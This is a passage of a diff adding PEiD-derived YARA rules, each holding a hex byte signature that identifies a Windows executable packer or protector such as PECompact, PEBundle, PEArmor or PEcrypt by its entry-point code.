+        $a = {8B C0 EB 01 34 60 EB 01 2A 9C EB 02 EA C8 E8 0F 00 00 00 EB 03 3D 23 23 EB 01 4A EB 01 5B C3 8D 40 00 53 EB 01 6C EB 01 7E EB 01 8F E8 15 01 00 00 50 E8 67 04 00 00 EB 01 9A 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 E8 00 00 00 00 58 C1 E8 0C C1 E0 0C 66 81 38 4D 5A 74 0C 2D 00 10 00 00 66 81 38 4D 5A 75 F4 C3 E8 00 00 00 00 58 83 E8 05 C3 8B C0 55 8B EC 81 C4 B8 FE FF FF 6A 40 8D 45 B0 50 E8 C0 FF FF FF 50 E8 8E FF FF FF 68 F8 00 00 00 8D 85 B8 FE FF FF 50 E8 A9 FF FF FF 03 45 EC 50 E8 74 FF FF FF E8 9B FF FF FF 03 85 38 FF FF FF 83 C0 34 89 45 FC E8 8A FF FF FF 03 85 38 FF FF FF 83 C0 38 89 45 F4 8B 45 FC}
+    condition:
+        $a
+}
+
+rule PEiD_01534_PE_Admin_V1_0__EncryptPE_V1_2003_5_18_Sold_____Flying_Cat_
+{
+    meta:
+        description = "[PE_Admin V1.0 (EncryptPE V1.2003.5.18 Sold) -> Flying Cat]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 90 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01535_PEArmor_V0_7X____Hying_
+{
+    meta:
+        description = "[PEArmor V0.7X -> Hying]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 55 56 81 C5 ?? ?? ?? ?? 55 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01536_PEBundle_v0_2___v2_0x_
+{
+    meta:
+        description = "[PEBundle v0.2 - v2.0x]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95}
+    condition:
+        $a
+}
+rule PEiD_01537_PEBundle_v2_0b5___v2_3_
+{
+    meta:
+        description = "[PEBundle v2.0b5 - v2.3]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 01 AD ?? ?? ?? ?? 01 AD}
+    condition:
+        $a
+}
+
+rule PEiD_01538_PEBundle_v2_44_
+{
+    meta:
+        description = "[PEBundle v2.44]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 83 BD}
+    condition:
+        $a
+}
+
+rule PEiD_01539_PEBundle_v3_10_
+{
+    meta:
+        description = "[PEBundle v3.10]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD ?? ?? ?? ?? 40 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_01540_PECompact_2_00_alpha_38_
+{
+    meta:
+        description = "[PECompact 2.00 alpha 38]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 80 B8 BF 10 00 10 01 74 7A C6 80 BF 10 00 10 01 9C 55 53 51 57 52 56 8D 98 0F 10 00 10 8B 53 14 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 8B F8 50 8B 33 8B 53 14 03 F2 8B 4B 0C 03 CA 8D 85 B7 10 00 10 FF 73 04 8F}
+    condition:
+        $a
+}
+
+rule PEiD_01541_PECompact_2_0beta_student_version____Jeremy_Collake_
+{
+    meta:
+        description = "[PECompact 2.0beta/student version -> Jeremy Collake]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? EE 05 12 13 13 12 50 64 FF 35 00 00 00 00 64 89 25 00}
+    condition:
+        $a
+}
+rule PEiD_01542_PeCompact_2_53_DLL__Slim_Loader_____BitSum_Technologies_
+{
+    meta:
+        description = "[PeCompact 2.53 DLL (Slim Loader) -> BitSum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00 00 08 0C 00 48 E1 01 56 57 53 55 8B 5C 24 1C 85 DB 0F 84 AB 21 E8 BD 0E E6 60 0D 0B 6B 65 72 6E 6C 33 32}
+    condition:
+        $a
+}
+
+rule PEiD_01543_PeCompact_2_53_DLL____BitSum_Technologies_
+{
+    meta:
+        description = "[PeCompact 2.53 DLL -> BitSum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 00 00 00 08 0C 00 48 E1 01 56 57 53 55 8B 5C 24 1C 85 DB 0F 84 AB 21 E8 BD 0E E6 60 0D}
+    condition:
+        $a
+}
+
+rule PEiD_01544_PECompact_2_x____Bitsum_Technologies_
+{
+    meta:
+        description = "[PECompact 2.x -> Bitsum Technologies]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? 02 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+    condition:
+        $a
+}
+
+rule PEiD_01545_PeCompact_2_xx__Slim_Loader_____BitSum_Technologies_
+{
+    meta:
+        description = "[PeCompact 2.xx (Slim Loader) -> BitSum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+    condition:
+        $a
+}
+rule PEiD_01546_PECompact_v0_90_
+{
+    meta:
+        description = "[PECompact v0.90]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? 40 00 C3 9C 60 BD ?? ?? 00 00 B9 02 00 00 00 B0 90 8D BD 7A 42 40 00 F3 AA 01 AD D9 43 40 00 FF B5}
+    condition:
+        $a
+}
+
+rule PEiD_01547_PECompact_v0_92_
+{
+    meta:
+        description = "[PECompact v0.92]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 BD ?? ?? ?? ?? B9 02 ?? ?? ?? B0 90 8D BD A5 4F 40 ?? F3 AA 01 AD 04 51 40 ?? FF B5}
+    condition:
+        $a
+}
+
+rule PEiD_01548_PECompact_v0_94_
+{
+    meta:
+        description = "[PECompact v0.94]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 ?? ?? ?? ?? 5D 55 58 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 01 85 ?? ?? ?? ?? 50 B9 02}
+    condition:
+        $a
+}
+
+rule PEiD_01549_PECompact_v0_971___v0_976_
+{
+    meta:
+        description = "[PECompact v0.971 - v0.976]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 C3 9C 60 E8 5D 55 5B 81 ED 8B 85 01 85 66 C7 85}
+    condition:
+        $a
+}
+rule PEiD_01550_PECompact_v0_977_
+{
+    meta:
+        description = "[PECompact v0.977]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB A0 86 40 ?? 87 DD 8B 85 2A 87}
+    condition:
+        $a
+}
+
+rule PEiD_01551_PECompact_v0_978_1_
+{
+    meta:
+        description = "[PECompact v0.978.1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 49 87 40 ?? 87 DD 8B 85 CE 87}
+    condition:
+        $a
+}
+
+rule PEiD_01552_PECompact_v0_978_2_
+{
+    meta:
+        description = "[PECompact v0.978.2]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D1 84 40 ?? 87 DD 8B 85 56 85}
+    condition:
+        $a
+}
+
+rule PEiD_01553_PECompact_v0_978_
+{
+    meta:
+        description = "[PECompact v0.978]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 24 88 40 ?? 87 DD 8B 85 A9 88}
+    condition:
+        $a
+}
+rule PEiD_01554_PECompact_v0_98_
+{
+    meta:
+        description = "[PECompact v0.98]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D7 84 40 ?? 87 DD 8B 85 5C 85}
+    condition:
+        $a
+}
+
+rule PEiD_01555_PECompact_v0_99_
+{
+    meta:
+        description = "[PECompact v0.99]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 2F 85 40 ?? 87 DD 8B 85 B4 85}
+    condition:
+        $a
+}
+
+rule PEiD_01556_PECompact_v1_00_
+{
+    meta:
+        description = "[PECompact v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB C4 84 40 ?? 87 DD 8B 85 49 85}
+    condition:
+        $a
+}
+
+rule PEiD_01557_PECompact_v1_10b1_
+{
+    meta:
+        description = "[PECompact v1.10b1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 28 63 40 ?? 87 DD 8B 85 AD 63}
+    condition:
+        $a
+}
+
+rule PEiD_01558_PECompact_v1_10b2_
+{
+    meta:
+        description = "[PECompact v1.10b2]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 94 60}
+    condition:
+        $a
+}
+
+rule PEiD_01559_PECompact_v1_10b3_
+{
+    meta:
+        description = "[PECompact v1.10b3]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 95}
+    condition:
+        $a
+}
+rule PEiD_01560_PECompact_v1_10b4_
+{
+    meta:
+        description = "[PECompact v1.10b4]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 44}
+    condition:
+        $a
+}
+
+rule PEiD_01561_PECompact_v1_10b5_
+{
+    meta:
+        description = "[PECompact v1.10b5]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 49}
+    condition:
+        $a
+}
+
+rule PEiD_01562_PECompact_v1_10b6_
+{
+    meta:
+        description = "[PECompact v1.10b6]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 ?? 00 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB B7}
+    condition:
+        $a
+}
+
+rule PEiD_01563_PECompact_v1_10b7_
+{
+    meta:
+        description = "[PECompact v1.10b7]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB 14}
+    condition:
+        $a
+}
+
+rule PEiD_01564_PECompact_v1_20___v1_20_1_
+{
+    meta:
+        description = "[PECompact v1.20 - v1.20.1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 9A 70 40}
+    condition:
+        $a
+}
+
+rule PEiD_01565_PECompact_v1_22_
+{
+    meta:
+        description = "[PECompact v1.22]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 ?? 70 40 ?? 90 90 01 85 9E 70 40 ?? BB F3 08}
+    condition:
+        $a
+}
+
+rule PEiD_01566_PECompact_v1_23b3___v1_24_1_
+{
+    meta:
+        description = "[PECompact v1.23b3 - v1.24.1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 08}
+    condition:
+        $a
+}
+
+rule PEiD_01567_PECompact_v1_24_2___v1_24_3_
+{
+    meta:
+        description = "[PECompact v1.24.2 - v1.24.3]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 09}
+    condition:
+        $a
+}
+
+rule PEiD_01568_PECompact_v1_25_
+{
+    meta:
+        description = "[PECompact v1.25]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? F3 0D}
+    condition:
+        $a
+}
+
+rule PEiD_01569_PECompact_v1_26b1___v1_26b2_
+{
+    meta:
+        description = "[PECompact v1.26b1 - v1.26b2]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? 05 0E}
+    condition:
+        $a
+}
+
+rule PEiD_01570_PECompact_v1_33_
+{
+    meta:
+        description = "[PECompact v1.33]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 00 80 40 ?? 90 90 01 85 9E 80 40 ?? BB E8 0E}
+    condition:
+        $a
+}
+
+rule PEiD_01571_PECompact_v1_34___v1_40b1_
+{
+    meta:
+        description = "[PECompact v1.34 - v1.40b1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 00 80 ?? 40 90 90 01 85 9E 80 ?? 40 BB F8 10}
+    condition:
+        $a
+}
+rule PEiD_01572_PECompact_v1_40___v1_45_
+{
+    meta:
+        description = "[PECompact v1.40 - v1.45]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB C3 11}
+    condition:
+        $a
+}
+
+rule PEiD_01573_PECompact_v1_40b2___v1_40b4_
+{
+    meta:
+        description = "[PECompact v1.40b2 - v1.40b4]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 86 11}
+    condition:
+        $a
+}
+
+rule PEiD_01574_PECompact_v1_40b5___v1_40b6_
+{
+    meta:
+        description = "[PECompact v1.40b5 - v1.40b6]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 8A 11}
+    condition:
+        $a
+}
+
+rule PEiD_01575_PECompact_v1_46_
+{
+    meta:
+        description = "[PECompact v1.46]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 60 12}
+    condition:
+        $a
+}
+
+rule PEiD_01576_PECompact_v1_47___v1_50_
+{
+    meta:
+        description = "[PECompact v1.47 - v1.50]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 5B 12}
+    condition:
+        $a
+}
+
+rule PEiD_01577_PECompact_v1_4x__
+{
+    meta:
+        description = "[PECompact v1.4x+]"
+        ep_only = "false"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+    condition:
+        $a
+}
+
+rule PEiD_01578_PECompact_v1_55_
+{
+    meta:
+        description = "[PECompact v1.55]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A2 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 9E 80 40 ?? BB 2D 12}
+    condition:
+        $a
+}
+rule PEiD_01579_PECompact_v1_56_
+{
+    meta:
+        description = "[PECompact v1.56]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 90 40 ?? 87 DD 8B 85 A2 90 40 ?? 01 85 03 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 9E 90 40 ?? BB 2D 12}
+    condition:
+        $a
+}
+
+rule PEiD_01580_PECompact_v1_60___v1_65_
+{
+    meta:
+        description = "[PECompact v1.60 - v1.65]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 80 40 ?? 87 DD 8B 85 D2 80 40 ?? 01 85 33 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 CE 80 40 ?? BB BB 12}
+    condition:
+        $a
+}
+
+rule PEiD_01581_PECompact_v1_66_
+{
+    meta:
+        description = "[PECompact v1.66]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 ?? 87 DD 8B 85 E6 90 40 ?? 01 85 33 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 DA 90 40 ?? 01 85 DE 90 40 ?? 01 85 E2 90 40 ?? BB 5B 11}
+    condition:
+        $a
+}
+
+rule PEiD_01582_PECompact_v1_67_
+{
+    meta:
+        description = "[PECompact v1.67]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 8B 11}
+    condition:
+        $a
+}
+
+rule PEiD_01583_PECompact_v1_68___v1_84_
+{
+    meta:
+        description = "[PECompact v1.68 - v1.84]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 7B 11}
+    condition:
+        $a
+}
+
+rule PEiD_01584_PECompact_v1_84_
+{
+    meta:
+        description = "[PECompact v1.84]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+    condition:
+        $a
+}
+rule PEiD_01585_PECompact_v2_0_beta____Jeremy_Collake_
+{
+    meta:
+        description = "[PECompact v2.0 beta -> Jeremy Collake]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01586_PECompact_v2_00_alpha_38_
+{
+    meta:
+        description = "[PECompact v2.00 alpha 38]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 80 B8 BF 10 00 10 01 74 7A C6 80 BF 10 00 10 01 9C 55 53 51 57 52 56 8D 98 0F 10 00 10 8B 53 14 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 8B F8 50 8B 33 8B 53 14 03 F2 8B 4B 0C 03 CA 8D 85 B7 10 00 10 FF 73 04 8F 00 50 57 56 FF D1 58 03 43 08 8B F8 8B 53 14 8B F0 8B 46 FC 83 C0 04 2B F0 89 56 08 8B 4B 10 89 4E 18 FF D7 89 85 BB 10 00 10 5E 5A 5F 59 5B 5D 9D FF E0 8B 80 BB 10 00 10 FF E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01587_PeCompact_v2_08____Bitsum_Technologies_signature_by_loveboom__
+{
+    meta:
+        description = "[PeCompact v2.08 -> Bitsum Technologies(signature by loveboom)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D}
+    condition:
+        $a
+}
+
+rule PEiD_01588_PECompact_v2_0_
+{
+    meta:
+        description = "[PECompact v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+    condition:
+        $a
+}
+
+rule PEiD_01589_PECompact_v2_5_Retail__Slim_Loader_____Bitsum_Technologies_
+{
+    meta:
+        description = "[PECompact v2.5 Retail (Slim Loader) -> Bitsum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+    condition:
+        $a
+}
+
+rule PEiD_01590_PECompact_v2_5_Retail____Bitsum_Technologies_
+{
+    meta:
+        description = "[PECompact v2.5 Retail -> Bitsum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+    condition:
+        $a
+}
+rule PEiD_01591_PECompact_V2_X____Bitsum_Technologies_
+{
+    meta:
+        description = "[PECompact V2.X -> Bitsum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43}
+    condition:
+        $a
+}
+
+rule PEiD_01592_PECompact_v2_xx_
+{
+    meta:
+        description = "[PECompact v2.xx]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+    condition:
+        $a
+}
+
+rule PEiD_01593_PeCompact2_2_53_2_76____BitSum_Technologies_
+{
+    meta:
+        description = "[PeCompact2 2.53-2.76 -> BitSum Technologies]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 55 53 51 57 56 52 8D 98 C9 11 00 10 8B 53 18 52 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 5A 8B F8 50 52 8B 33 8B 43 20 03 C2 8B 08 89 4B 20 8B 43 1C 03 C2 8B 08 89 4B 1C 03 F2 8B 4B 0C 03 CA 8D 43 1C 50 57 56 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01594_PECrc32_0_88____ZhouJinYu_
+{
+    meta:
+        description = "[PECrc32 0.88 -> ZhouJinYu]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED B6 A4 45 00 8D BD B0 A4 45 00 81 EF 82 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01595_PEcrypt___by_archphase_
+{
+    meta:
+        description = "[PEcrypt - by archphase]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E0 53 56 33 C0 89 45 E4 89 45 E0 89 45 EC ?? ?? ?? ?? 64 82 40 00 E8 7C C7 FF FF 33 C0 55 68 BE 84 40 00 64 FF 30 64 89 20 68 CC 84 40 00 ?? ?? ?? ?? 00 A1 10 A7 40 00 50 E8 1D C8 FF FF 8B D8 85 DB 75 39 E8 3A C8 FF FF 6A 00 6A 00 68 A0 A9}
+    condition:
